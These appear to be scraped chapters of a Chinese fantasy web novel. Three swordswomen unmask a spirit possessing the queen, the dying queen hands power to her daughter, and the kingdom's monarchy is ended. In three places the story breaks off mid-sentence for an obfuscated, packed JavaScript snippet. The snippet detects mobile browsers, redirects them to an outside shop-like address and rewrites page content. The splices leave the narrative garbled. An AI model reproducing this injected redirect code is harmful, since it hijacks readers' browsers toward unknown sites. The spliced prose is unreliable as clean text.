因为想着今天准备做的事情,她一晚上都睡得不太安稳。脑子里翻来覆去都是昨晚在幽溟渊看到的那一幕——女王倒下去的声音,商策餍足的笑,还有那些密密麻麻的眼睛和耳朵。 她睁开眼,下意识往身边摸了一把,愣了愣。 空的。凉的。对方已经走了。 “寒苍?” 没人应。 褚秋水坐起来,揉了揉眼睛。屋里安安静静的,她的那柄大剑还靠在墙边,卫寒苍却不见了踪影。 她愣了几秒,然后慢慢躺回去,盯着帐顶发了会儿呆。 走了啊。 说不上失望,也说不上难过——毕竟昨晚她把话说得那么明白,人家想走也正常。 可心里就是有点空落落的,像是习惯了身边有人叽叽喳喳,忽然安静下来,反而不适应。 她想起卫寒苍每天对着镜子敷面的样子,想起她钻进被窝说“床暖好了”的理直气壮,想起她昨晚攥着自己衣角的那只手。 走了也好,免得被接下来的事波及了。 褚秋水躺了三秒,然后一骨碌爬起来。 “行吧。”她拍拍脸,“我还有任务要完成。” 她穿好衣服,把大剑往背上一挂,推门出去。清晨的风吹过来,带着点凉意,吹得廊下的灯笼轻轻晃悠。 褚秋水深吸一口气,大步往宫外走去。她攥紧了腰间的玉牌——那是华兰泽给的,能调动城北大营的兵。 走着走着,她忽然停下脚步。 不对。 卫寒苍虽然平时没个正形,但答应过的事从不含糊。昨晚她明明说“我陪你”,以她的性子,就算要走,也该当面说一声才对。 褚秋水站在原地想了想,没想出个所以然,索性不想了。 管她呢,走了也好,省得跟着自己涉险。 她攥紧腰间的玉牌,大步往城北大营的方向走去。 与此同时,勤政殿。 朝会已经开始。 鲛油灯把大殿照得亮如白昼,群臣分列两侧,鸦雀无声。华兰泽站在队列之中,微微低着头,余光却一直盯着龙椅上的那个人。 “女王”坐在那里,神情和往常没什么两样——威严,端庄,甚至带着点疲惫。她的手指搭在龙椅扶手上,指尖轻轻敲击着,发出细微的、有节奏的声响。 若不是亲眼所见,华兰泽根本不会相信,这具身体里住着的,是一个千年老怪物。 “今日,朕有一事要宣布。”商策开口,声音是女王的,语气也是女王的,带着那种居高临下的从容,“盐铁之策,需再加紧。从下月起,每户每月定额上调三成。同时,赋税加一成,用于……用于国运祭祀。” 话音落地,群臣哗然。 “陛下!”一个老臣当即出列,须发皆白,声音都在发抖,“盐铁之策已经让民间怨声载道,再加三成,百姓如何承受得起?” “是啊陛下,”另一个臣子紧跟着站出来,额头上的汗珠子顺着脸颊往下淌,“赋税加一成,这是要逼死人啊!” “臣附议!请陛下三思!” “三思啊陛下!” 商策坐在龙椅上,看着下面这群七嘴八舌的大臣,嘴角微微弯起一个弧度。那弧度很浅,浅到几乎看不出来,但华兰泽看见了。 “诸位爱卿,”他的声音不紧不慢,像是在哄一群不懂事的孩子,“这是祭司占卜的结果。国运所需,百姓自当为国分忧。怎么,你们是想违抗天意吗?” “天意”两个字一出口,群臣的议论声顿时小了一半。 祭司占卜,苏眦立国之本。三百年了,哪一桩哪一件不是照着占卜来的?谁敢违抗?可那些百姓……有人低下头去,有人面露不忍,但没有人再开口。 就在这沉默中,一个清亮的声音响起。 “母皇,儿臣有话要说。” 所有人的目光齐刷刷看向华兰泽。 商策的眼睛微微眯了一下,那眯眼的动作极快,像是一条蛇吐了吐信子。 “兰泽?”他的语气温和,甚至带着一点慈爱,“有什么话,说吧。” 华兰泽抬起头,直视着龙椅上那个“人”。 “母皇方才说,盐铁加征是祭司占卜的结果,是国运所需。儿臣想问——这个结果,是占卜出来的,还是某些人自己想出来的?” 商策的笑容顿了一瞬。 “你这是什么意思?” “儿臣的意思是,”华兰泽往前站了一步,声音清亮得整个大殿都能听见,“母皇可曾亲眼去看过那些百姓?可曾亲眼看过他们过的是什么日子?” 她的声音越来越高,带着一种压抑了许久的愤怒。 “儿臣去看了。儿臣亲眼看见,有人三年没吃过盐,有人用陶罐煮饭,有人饿死在路边,有村子变成废墟。这就是母皇说的国运所需?这就是母皇说的为国分忧?” 群臣面面相觑。有人低下头去,有人面露不忍,还有人偷偷看着龙椅上“女王”的脸色。 商策的脸色沉了下来。 “华兰泽。”他的声音也变了,不再是之前的温和,而是带着一种冷意,“你这是在质疑朕?” “儿臣不敢质疑母皇。”华兰泽看着他,一字一句地说,声音在空旷的大殿里回荡,“但儿臣知道,真正的母皇,不会说这种话。” 商策的眼神猛然一厉。 “放肆!”他一拍龙椅扶手,那声音在寂静的大殿里炸开,像一声惊雷,“来人!把这个不敬之人给我拿下!” 殿外的侍卫闻声而动,甲胄碰撞声急促地响起,刚要冲进来—— “谁敢!” 一声暴喝从殿外传来。 那声音不大,却像一把刀,劈开了殿内凝滞的空气。 紧接着,整齐的脚步声响起,密密麻麻,震得地面都在微微颤抖。不是一两个人的脚步,是成百上千人的脚步,踏在青石板上,像闷雷滚过天际。 群臣惊愕回头。 只见大殿门口,褚秋水一身劲装,背着她那柄比人还高的大剑,大步走了进来。晨光从她身后照进来,给她的轮廓镀上一层金边。她走得不快,但每一步都稳得像钉在地上。 她身后,黑压压的士兵列阵而入,甲胄在日光下闪着冷冷的光。他们鱼贯而入,分列两侧,把整个勤政殿围了个水泄不通。 龙椅上的“女王”霍然起身,动作之大,差点把面前的御案掀翻。 “你——!你这是要造反吗!” 褚秋水走到殿中央,站定,抬头看着他。她的手搭在剑柄上,指节微微泛白,但声音很稳。 “首先,”她说,“带剑上殿是陛下特许,您难道忘了吗?” 商策的嘴张了张。 褚秋水没给他说话的机会。 “其次,”她的声音忽然沉下去,沉得像淬了冰,“商策,别装了。” 群臣再次哗然。商策?装什么?有人交头接耳,有人满脸茫然,还有人开始往后退。 褚秋水没理那些议论,只是盯着龙椅上那个“人”。她的目光像一把剑,直直地刺过去。 “你昨晚在幽溟渊做的事,我们都看见了。” 商策的脸色变了一瞬,随即恢复正常。那变化极快,快到大多数人都没察觉。 “一派胡言。”他的声音依旧是女王的,甚至还带上了一点被冤枉的委屈,“朕一直在寝宫休息,何曾去过幽溟渊?” “你还要做戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371612|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗。”华兰泽接过话,声音发颤,但一个字一个字咬得极清楚,“你替换了母皇的灵魂。” 她看着龙椅上那张熟悉的脸,眼眶泛红,但没有哭。 “母皇的身体里,住着两个魂魄。一个是她,一个是……你。” 商策沉默了一瞬。 大殿里安静得能听见鲛油灯芯燃烧的细微声响。 然后他笑了。 那笑容和女王完全不同——阴冷,诡异,带着说不清的嘲讽。像是一张戴了太久的面具终于被撕下来,露出底下那张不属于活人的脸。 “有意思。”他的声音也变了,变得幽深,变得悠远,变得……不像活人,“我以为还能再瞒几天,没想到你们直接说破了。” 他站起身,居高临下地看着殿中的所有人。那张女王的脸上,此刻是一种不属于她的表情——张狂,傲慢,像是一个高高在上的神祇在俯瞰蝼蚁。 “既然被识破了,那也没什么好装的。”他张开双臂,像是在宣示什么,声音在空旷的大殿里回荡,“我就是商策,也是苏眦历代祭司。侍奉了你们几百年,也该轮到你们侍奉我了。” 群臣听着这番惊天言论,全都惊得说不出话。有人瘫坐在地上,有人拼命往后退,有人哆嗦着嘴唇,一句完整的话都说不出来。那个最先站出来反对的老臣,脸色白得像纸,手扶着旁边的柱子才没有倒下。 华兰泽死死盯着他,眼泪在眼眶里打转,但始终没有落下来。 “你把母皇还给我。” 商策看着她,笑了。 “还?”他说,声音里带着一种猫捉老鼠的戏谑,“小丫头,你母皇就在这里。等我彻底融合了这具身体,你就能天天看见她了。只是到时候——” 他顿了顿,笑意加深。 “她会不会认识你,就不好说了。” 华兰泽的眼泪终于落下来。但她没有后退,一步都没有。 “秋水。”她说。 褚秋水拔出大剑。 剑鸣声在殿中响起,清越如龙吟。那柄比人还高的大剑在日光下泛着冷冷的乌金色,剑刃上的一线寒光像是能割破空气。 “拿下他。” 士兵们刚要动—— “哈哈哈哈——” 商策忽然大笑起来。那笑声在殿中回荡,刺耳又诡异,震得鲛油灯的火焰都在颤抖。 “拿下本座?”他说,“你们以为,本座会毫无准备吗?” 他抬起手,指向殿外。 “听。” 所有人都安静下来。 远处,传来一阵阵嘈杂的声音——脚步声,喊声,金属碰撞声,混在一起,由远及近,像是有什么东西正在逼近。那声音越来越大,越来越密,像潮水一样涌过来。 群臣的脸色变了。有人开始往角落里缩,有人吓得瘫坐在地上。 华兰泽的脸色也变了。 “你……” “都是我的信徒。”商策笑得猖狂,笑得肆无忌惮,“这些年,我在苏眦埋了多少暗桩,你们根本想象不到。本来是想等逼你就范的时候用的,没想到歪打正着,正好今天用上。” 他看着殿中那些惊慌失措的大臣,看着脸色发白的华兰泽,看着握紧大剑的褚秋水,眼里满是得意。那得意不是装出来的,是那种胜券在握的、志在必得的得意。 “小郡主,你以为你赢了吗?你以为带着这几个兵就能翻盘?” 他张开双臂,像是在拥抱什么。 “听!我的信徒来了!他们会把你们全部拿下!从今天起,苏眦就是我的——” 话音未落。 殿外忽然传来一阵骚动。 不是信徒的欢呼。 是……惨叫。 18. 去世 商策的笑容僵在脸上。 他猛地转头,看向殿门。 那些本该冲进来的信徒,此刻正像无头苍蝇一样四散奔逃。有人倒下,有人被绊倒,有人惊恐地喊着“有埋伏”。 混乱之中,一道身影翩然落在殿门口。 那人一身黑衣,发丝微微凌乱,手里还拎着一个挣扎的信徒。她往地上一丢,拍了拍手上的灰,抬起头,露出一个懒洋洋的笑。 “哟。”她说,“挺热闹啊。” 褚秋水愣住了。 卫寒苍? “你……你没走?” 卫寒苍看了她一眼,那眼神有点复杂,像是想翻个白眼,又像是有点委屈。 “走什么走,”她嘟囔道,“我走了你一个人怎么打?” 然后她大步走进殿中,走到褚秋水身边,压低声音飞快地说:“昨晚感觉不对,提前去城门蹲着。果然,三更天就开始有人鬼鬼祟祟往城外摸,我没打草惊蛇,等他们集结得差不多了,直接关门打狗。” 她顿了顿,嘴角扬起一个得意的弧度。 “现在城外绑了三百多个,全在哭爹喊娘。” 商策的脸色彻底变了。 “不可能!”他的声音都劈了,“我的信徒遍布全国,怎么会——” “遍布全国?”卫寒苍歪了歪头,一脸无辜,“那你知不知道,你那些信徒进城的时候,都在城门口登记过?一个名字一个名字写下来的那种。多谢配合啊,省了我们不少功夫。” 商策的嘴张了又合,合了又张,一时竟说不出话来。 华兰泽在旁边看得目瞪口呆,半晌才憋出一句:“你……你什么时候安排的这些?” “昨晚啊。”卫寒苍说得云淡风轻,“某人跟郡主你谈理想谈抱负的时候,我出去溜达了一圈。” 她说着,瞥了褚秋水一眼。 褚秋水看着她,心里忽然有点发酸。 原来她昨晚说的“收拾东西”,不是要跑,是出去踩点了。 “对不起,是我……”她开口。 “别说话。”卫寒苍别过脸去,“现在不想听你说话。” 褚秋水乖乖闭嘴。 商策站在龙椅前,看着殿中这三人,脸色青了又白,白了又青。 最后,他忽然笑了一声。 那笑声阴恻恻的,听得人后背发凉。 “好。”他说,“好得很。我活了几百年,还是头一回被人算计成这样。” 他缓缓走下台阶,目光落在褚秋水身上。 “但是,”他说,“你们以为,这就赢了?” 褚秋水的眉头微微皱起。 商策的身形忽然变得模糊起来,像是有什么东西从他的身体里爬出来,他的面容扭曲起来。 “我本就是一个孤魂,”他的声音变得幽深,“你们以为,靠人多就能抓住本座?” 他猛地抬手,一股阴冷的气息从掌心涌出,直朝褚秋水袭来! “小心!”卫寒苍想拉开她。 但褚秋水已经动了。 大剑出鞘,横在身前,那阴冷的气息撞在剑身上,发出刺耳的尖啸。 商策后退一步,眯起眼睛。 “你有修为?” 褚秋水没回答,只是握紧剑柄,大步上前。 大剑横扫,带起呼呼风声。 商策身形一晃,竟鬼魅般从剑下闪过,但他的身法明显比昨晚在幽溟渊时慢了许多。换了女王的躯壳,他还没完全适应。 褚秋水抓住这个破绽,剑锋一转,直取他下盘。 商策狼狈躲过,衣袍被削下一角。 褚秋水足尖一踢,大剑乘势而转,剑气中夹杂着凛冽寒意,直指商策而去。 大剑势沉,商策不敢正面接住,只能左躲右闪,不断转换位置。 卫寒苍看着啧了两声,她当时就是这样被褚秋水逼到角落认输的。论用剑,褚秋水绝对是同辈人中的佼佼者。 商策被逼到退无可退,被褚秋水用剑将衣角牢牢钉在地面。 “还有什么招?”她问。 商策沉默了一瞬。 然后他笑了。 那笑容疲惫又诡异,像是认命,又像是还在算计什么。 “好了。”他说,“我输了。” 一场闹剧,终于落幕。 华兰泽站在殿中央,看着那些惊魂未定的群臣,深吸一口气。 “诸位大人,今日之事,容后再议。”她的声音还有些发颤,但已经稳了下来,“请先回府歇息,明日照常上朝。” 群臣面面相觑,有人想说什么,却被旁边的人拉住。 “是……是。” “臣等告退。” 人群鱼贯而出,勤政殿渐渐空了下来。 只剩下她们三个,和被五花大绑丢在角落的商策。 华兰泽走到他面前,蹲下,看着那张和母皇一模一样的脸。 “怎么把母皇换回来?”她问。 商策抬起头,看着她。 那目光里,有一种说不清的东西。 “换回来?”他轻声说,“小郡主,你以为魂魄寄生是什么?是两个人睡一张床,想分开就分开?” 华兰泽的脸色白了白。 商策继续说:“我在她身体里扎了三十年。三十年,根已经扎到魂魄深处了。分不开的。” “不可能。”华兰泽的声音发颤,“一定有办法。” 商策看着她,忽然笑了。 那笑容里,带着一种诡异的悲悯。 “你想见你母皇?”他问,“那本座成全你。” 话音刚落,他的眼神猛然一变! 一股强大的力量从他身上爆发出来,直接把旁边的士兵震飞出去! 褚秋水反应快,一把拉过华兰泽护在身后,大剑横在身前。 商策的身体剧烈颤抖着,像是在承受什么巨大的痛苦。他的眼睛变成了诡异的银白色,嘴唇翕动,念出一串晦涩的咒语。 “以我之魂,祭汝之愿——” 卫寒苍脸色一变:“他要献祭!” 褚秋水想上前阻止,但已经来不及了。 一股无形的力量猛然扩散开来,把整个勤政殿笼罩其中。 褚秋水的眼前忽然一黑。 等她再睁开眼时,发现自己站在一座巨大的藏书阁里,先前发生什么,已经记不清了。 四周全是书架,上面摆满了剑谱。那些剑谱的名字,每一个都是她做梦都想得到的——《惊鸿剑典》《破云十三式》《天外飞仙》…… 她的心跳漏了一拍,这里,这里简直是天堂…… 然后,她看见了最里面那个书架。 上面摆着一本古朴的册子,封面上写着四个字—— 《无上剑道》。 褚秋水的呼吸都停了一瞬。 这是传说中早已失传的剑谱,是她师傅的师傅的师傅都没见过的神物。只要拿到它,她就能成为真正的天下第一剑。 她不由自主地往前走了一步。 那本剑谱就在那里,等着她。 只要走过去,就能拿到。 诶,怎么剑谱前还有几根柱子。 就在她思考的时候,一个声音忽然在心底响起—— 走过去,砍倒那几根柱子,剑谱就是你的了。 说完,那几根柱子移动了起来,让她的目光再也移不开。 又是一道声音,有些像女王的声音—— 别,别去…… 但,那本《无上剑道》就在柱子后面,散发着致命的吸引力。 她的眼睛不受控制地往那边瞟,脚也不受控制地往前挪。 只要,只要能够到达那个地方。 就在这时—— 手腕上忽然一松。 她低头一看,是那根红绳。 是那个妇人送给她的红绳。那个在村子里,被她救过的妇人,千恩万谢地给她系上的。 它断了。 褚秋水愣了一瞬。 然后,她猛然清醒过来。 眼前的藏书阁开始扭曲、崩塌。那些剑谱,那些书架,那本《无上剑道》,全部化作虚无。 她看见真正的世界—— 勤政殿里,华兰泽站在原地,泪流满面,嘴里喃喃着“母皇”。卫寒苍站在不远处,神情恍惚,眼角有泪光一闪而过。 而商策,正蜷缩在地上,身体以肉眼可见的速度衰老、干瘪。 她猛地醒过来,刚刚她看见的柱子,恐怕就是华兰泽和卫寒苍幻化而成的,商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371613|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策此举,是想让他们自相残杀。 褚秋水深吸一口气,大步上前,一把拍醒明显陷得更深的华兰泽。 “郡主!醒醒!” 华兰泽浑身一震,眼神渐渐清明。 “秋……秋水?”她茫然地看着四周,“我……我刚才看见母皇了,她抱着我,说……” 她说不下去了。 褚秋水没时间安慰她,转身又去拍卫寒苍。 卫寒苍的反应比华兰泽快得多。她浑身一颤,猛地后退一步,看向褚秋水的眼神里带着一点慌乱。 “你……你醒了?” “你看见什么了?”褚秋水问。 卫寒苍别过脸去:“没什么。” “没什么你哭什么?” “没哭。”卫寒苍抬手擦了擦眼角,“风大。” 殿内门窗紧闭,哪来的风。 褚秋水没再追问,因为商策那边已经不行了。 三人围过去,看着地上那个干瘪的老人。 他彻底失去了女王的模样,头发花白稀疏,皮肤皱得像树皮,整个人缩成小小的一团。只有那双眼睛,还残留着一点光芒。 “明明……”他的声音沙哑得像砂纸刮过,“明明……就差一步了……” 华兰泽蹲下来,看着他。 “你把母皇还给我。” 商策的嘴唇翕动着,还想向着王座的方向爬去。 “她回不来了……”他说,“刚刚……如果不是她……” 华兰泽的眼泪夺眶而出。 商策的眼睛渐渐失去了光彩,最后一眼,他怨恨地看着他梦寐以求的王座。 “就差一点……” 说完,他彻底没了气息。 华兰泽跪在地上,看着这个怪物死去,心里无比担心,担心母皇的安危。 就在这时,旁边传来一声虚弱的呼唤。 “兰泽……” 华兰泽浑身一震,猛地抬头。 地上,刚刚死去的女王不知何时睁开了眼睛。 她的脸色惨白如纸,嘴唇毫无血色,整个人看起来像是随时会消散的魂魄。但她的眼睛,是华兰泽熟悉的那双眼睛。 “母皇!” 华兰泽扑过去,跪在她面前,抓住她的手。 那手冰凉刺骨。 “母皇,你醒了,你醒了就好,我让人去找太医——” “别去了。”女王摇摇头,声音轻得像一阵风,“来不及了。” 华兰泽的眼泪止不住地往下流。 “不,不会的,你撑住,我——” “兰泽。”女王看着她,目光里满是温柔,“听我说。” 华兰泽咬着嘴唇,拼命点头。 女王的手轻轻抚上她的脸。 “这些年……我做了很多错事。”她说,“收盐铁,压百姓,听信那个东西的话……我知道错了,可是……来不及改了。” “母皇没错,”华兰泽哭着说,“母皇是为了我,我知道,我都知道了。” 女王愣了一下,然后笑了。 那笑容疲惫又欣慰。 “你都知道了啊……”她说,“那就好。” 她的手往下滑,握住华兰泽的手。 “兰泽,以后……苏眦就交给你了。” 华兰泽拼命摇头。 “我做不好,我什么都不懂,我——” “你会做好的。”女王打断她,“你比我强。你年轻,心软,敢去看那些百姓过得怎么样。我当年……我当年就不敢。” 她顿了顿,目光变得悠远。 “我刚登基那会儿,也有人跟我说,百姓是草,是土,是根基。我信了。可是后来我生了病,躺在床上的时候,忽然想,如果是我的兰泽病了,躺在那里,我希不希望有人给她一碗粥,一块盐?” 她看着华兰泽,目光里满是爱意。 “我对不起那些人。你替我去看看他们,替我跟他们说一声……对不起。” 华兰泽泪流满面,只能拼命点头。 女王的手慢慢松开。 “兰泽……” “嗯?” “好好活着。” 那双眼睛,终于缓缓闭上。 华兰泽抱着她,哭了很久很久。 19. 结束与新生 褚秋水和卫寒苍站在殿外,把最后的时间留给她们。 太阳已经升高了,照在王宫的琉璃瓦上,闪着耀眼的光。 褚秋水靠在柱子上,抬头看着天。 卫寒苍站在她旁边,难得安静。 过了很久,褚秋水忽然开口。 “你刚才看见什么了?” 卫寒苍身体微微一僵。 “说了没什么。” “骗人。”褚秋水说,“你眼角现在还是红的。” 卫寒苍下意识抬手去摸,然后意识到被耍了,狠狠瞪她一眼。 “有意思吗?” “有意思。”褚秋水笑了,“你平时骗我那么多次,我骗你一次怎么了?” 卫寒苍被她噎得没话说。 沉默了一会儿,褚秋水的声音低下来。 “我是真的想知道。” 卫寒苍看着她。 阳光落在她脸上,她的眼神很认真,也很温柔。 卫寒苍别过脸去。 “看见一些以前的事。” “以前的事?” “嗯。”卫寒苍的声音淡淡的,“很久以前的事了。” 褚秋水等了一会儿,见她没有继续说的意思,便没有再问。 “行吧。”她说,“等你想说的时候再说。” 卫寒苍看了她一眼,嘴角微微弯了弯。 两人并肩站在廊下,看着远处的天空。 接下来的几天,整个王宫想上满了发条的钟,滴滴答答走着没个停歇。 华兰泽也像一只陀螺,从早转到晚。 处理商策残党、安抚朝臣、发放告示解释女王死讯、安排丧仪、清点国库、核对账目……每一件事都要她点头,每一件事都要她过目。 褚秋水和卫寒苍帮不上什么大忙,只能在她累得撑不住的时候,递杯茶,拽她去吃饭。或者在她对着账目发呆的时候,安静地坐在旁边陪着。 三天后,华兰泽终于派人来请她们过去。 不是勤政殿,而是她自己的寝宫。 褚秋水推门进去的时候,华兰泽正坐在窗边的案几前,面前摊着一堆纸。 她穿着素白的衣服,头发只用一根木簪挽着,脸上还带着疲惫,但眼神清亮,比三天前沉稳了许多。 “秋水,寒苍,坐。”她指了指对面的位置。 两人落座。 华兰泽沉默了一瞬,然后开口。 “我今天叫你们来,是想跟你们说一件事。” 她顿了顿,像是在组织语言。 “这几天,我一直在想母皇临终前说的话。”她的声音很轻,“她说,她对不起那些人。她说,让我替她去看着他们。” 褚秋水安静地听着。 华兰泽抬起头,看着她们。 “我想好了。”她说,“我准备结束苏眦的王朝统治。” 褚秋水愣了一下。 卫寒苍也愣了一下。 “你说什么?” 华兰泽的目光很坚定。 “苏眦立国三百年,历代女王都说是为了百姓。 可纵观史书,历史发展终有其规律。一个王朝有辉煌,就有落幕。 这几十年来,虽说有母皇中兴国家,但终究是积重难返。种地的吃不饱,织布的穿不暖,养蚕的没见过绸缎。商策能在这里扎根三十年,就是因为这套制度给了他土壤。” 她指着面前那些纸。 “这几天我查了账目,查了律法,查了历任祭司占卜的记录。王权与信仰相互纠缠,催生出来的,只有残害百姓的怪物。” 她的声音高了一点,又压下去。 “我不会再让这些发生。” 褚秋水看着她,有看着那堆纸,忽然看明白了那个预言。 正如商策所言,预言从不出错。 女王为了防止预言成真,将征盐权和铸铁权牢牢分开。 征盐权此前空置,只待王室继承人诞生后就自动转接到她手上。 铸铁权则被王与祭司牢牢把控在手里。 现在女王去世,商策魂飞魄散,掌握盐和铁的权利便被华兰泽一人独掌。 她也正是真正终结苏眦王朝的人。 “你想怎么做?”她问。 华兰泽深吸一口气。 “第一步,废除盐税和铁税。盐铁本来就是百姓的东西,不该被王室垄断。那些收上来的铁器,全部重新熔铸,做成农具、炊具、刀具,发还给百姓。” “第二步,还政于民。”她说,“苏眦以后没有女王了。各个村镇自己选人出来,组成议事会,商量怎么过日子。大事一起定,小事自己管。官府只负责协调,不再发号施令。” 卫寒苍挑眉:“那些当官的能同意?” “不同意也得同意。”华兰泽说,“现在军队在我手里,国库在我手里,他们有意见也得憋着。” 褚秋水笑了。 华兰泽继续说下去。 “第三步,推广修仙之法。” 褚秋水一愣。 华兰泽看着她,目光认真。 “秋水,你之前跟我说过,你修仙是为了让所有人都有选择的权利。我想了很久,觉得你说得对。” 她顿了顿。 “苏眦这些年为什么乱?因为百姓太弱了。他们没有力量,没有反抗的能力,所以只能任人宰割。如果他们也像你一样,能修炼,能自保,能靠自己的本事活下去,那还需要什么女王?什么祭司?” 她看着褚秋水,眼睛里带着光。 “你教我们修仙之术吧。” 褚秋水沉默了一会儿。 然后她笑了。 “行。” 接下来的日子,三个人忙得脚不沾地。 华兰泽负责政务。她一项一项废除旧法令,一条一条颁布新规矩。 每天都有官员来哭诉,每天都有族老来反对。她不管,该怼怼,该压压,该打发打发。 半个月下来,那些原本哭天抢地的人,看见她就绕道走。 褚秋水负责编教材。她把师傅教的入门心法,结合自己这些年的修炼心得,用最简单的话写下来。 怎么感应灵气,怎么运转周天,怎么淬炼筋骨——每一项都掰开揉碎了讲,生怕人家看不懂。 卫寒苍负责……卫寒苍负责在旁边阴阳怪气。 “你这写的什么?”她拎起一张纸,念出声,“‘灵气如泉,涌动于天地之间’——人家知道泉是什么吗?知道涌动是什么意思吗?” 褚秋水挠头:“那怎么写?” “写什么灵气,直接写怎么感受。”卫寒苍抢过笔,刷刷写了几行,“闭眼,深呼吸,感受身体里有没有热流。有就顺着它走,没有就再来一次。多简单。” 褚秋水看着那几行字,陷入沉思。 “……你懂修炼?” 卫寒苍顿了顿,别过脸去:“以前……见过。” 褚秋水想问“在哪见过”,但看她那副不想说的样子,又把话咽了回去。 日子就这么一天天过去。 三个月后,第一所学堂在城外村落开张。 没有隆重的仪式,没有剪彩的绸带,只有一群穿着补丁衣服的村民,站在空地上,等着听那个背大剑的姑娘讲课。 褚秋水站在最前面,看着那些求知若渴的眼睛。 她忽然有点紧张。 卫寒苍站在旁边,戳了戳她:“去啊。” 褚秋水深吸一口气,走上前。 “那个……”她开口,“我叫褚秋水。今天教你们怎么修炼。” 底下安安静静的,所有人都看着她。 她挠了挠头,忽然不知道该怎么往下说。 卫寒苍在后面忍不住笑出声。 褚秋水回头瞪她一眼,又转回去。 “那就……开始吧。” 那天晚上,褚秋水累得直接瘫在椅子上。 “怎么样?”卫寒苍端着茶过来,“当先生的感觉?” 褚秋水接过茶,喝了一大口。 “比打架累多了。”她说,“打架就一个人,教课几十个人,问的问题五花八门,有的我都答不上来。” 卫寒苍笑了:“那你明天还去吗?” “去。”褚秋水放下茶杯,“答应了就得做到。” 卫寒苍看着她,目光里有一点光。 两人又忙了一会儿,把明天的教案再过一遍。 不知不觉,夜深了。 褚秋水趴在案几上,眼皮越来越重。 “寒苍……”她迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371614|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊地喊了一声。 没人应。 她侧头一看,卫寒苍也趴在旁边,睡着了。 烛火跳动着,在她脸上投下忽明忽暗的光。 褚秋水看了她一会儿,忽然想,这人睡着的时候,倒是挺乖的。 然后她也闭上眼睛。 不知过了多久。 一阵冷风忽然吹过来,激得褚秋水打了个寒颤。 她猛地睁开眼。 眼前不是华兰泽的寝宫。 是那个破庙。 她们回来了。 那尊残破的佛像,歪倒在角落,身上爬满了蛛网。屋顶的瓦片缺了好几块,月光从缺口漏下来,在地上投下几道细长的光斑。 褚秋水愣了好几秒。 旁边,卫寒苍也醒了。她揉着眼睛坐起来,四处看了看,表情也愣住了。 “我们……回来了?” 褚秋水站起来,走到门口往外看。 月光下,林荫小路安静地延伸向远方。没有王宫,没有城池,没有那些她待了几个月的地方。 她们真的回来了。 两人站在破庙里,沉默了很久。 然后卫寒苍忽然开口。 “秋水,你看。” 她指着那尊佛像的底座。 褚秋水走过去,蹲下来看。 底座上,刻着一行行字。 字迹有些歪扭,像是用石头一点点凿出来的。但一笔一划都很认真,看得出来刻字的人用了很多心思。 “致褚姑娘、卫公子——” 褚秋水轻声念出来。 “托二位的福,我们现在过得很好。地里的收成比往年都好。村里的学堂开起来了,娃娃们每天去念书,回来就跟我显摆今天学了什么。” “兰泽郡主——哦不对,现在不能叫郡主了。她让我们叫她兰泽。她三天两头往村里跑,说是视察,其实就是来蹭饭。我们都笑她,堂堂前郡主,怎么比我们还穷。她就翻个白眼说,钱都拿去办学堂了,没钱吃饭。然后继续蹭。” “王城那边变化也大。以前进都不敢进的地方,现在随便进。前几天我还去逛了一圈,卖糖人的摊子还在,那老头还记得我,非要给我多塞一个。” “这个雕像是我们一起做的,就用的泥巴。土是最结实的东西,也希望它能把我们的祝福都带给你。” “我们一切都好。” “你们也要好好的。” 落款是一串名字,密密麻麻的,全是那些村民。 褚秋水看着那些字,眼眶有点热。 卫寒苍在旁边蹲下来,看了很久。 然后她从怀里掏出一张纸,和一小块炭。 “你干嘛?”褚秋水问。 “拓印下来。”卫寒苍低着头,一笔一划地描着,“留着。” 褚秋水看着她,嘴角弯了弯。 “好。” 两人蹲在佛像前,一个拓,一个看,安安静静地,把那串名字一个一个描下来。 月光从屋顶漏进来,照在她们身上。 描完最后一个字,卫寒苍小心翼翼地把纸折好,收进怀里。 “走吧。”她站起来。 褚秋水点点头,也站起来。 两人走到门口,回头看了一眼那尊破旧的佛像。 月光下,佛像依旧歪倒在角落,身上落满灰尘。 “再见。”褚秋水轻声说。 然后她转身,往外走去。 卫寒苍跟在她身后。 两人一前一后,走出破庙,走进月光里。 身后,破庙安安静静的,只有风吹过屋檐的声音。 她们没有回头。 所以她们没有看见, 那尊佛像的底座,在她们转身的那一刻,笃然裂开一道细缝。 缝隙越来越大,越来越大。 然后,一个小小的东西从里面滚出来,落在月光下。 是一个香囊。 鹅黄色的底子,绣着几片竹叶。 针脚不算精致,但每一针都绣得很用心。 月光照在它上面,像是给它镀了一层淡淡的银边。 那是华兰泽一直没送出去的那个香囊。 不知道什么时候,被她悄悄藏在了这里。 20. 老师 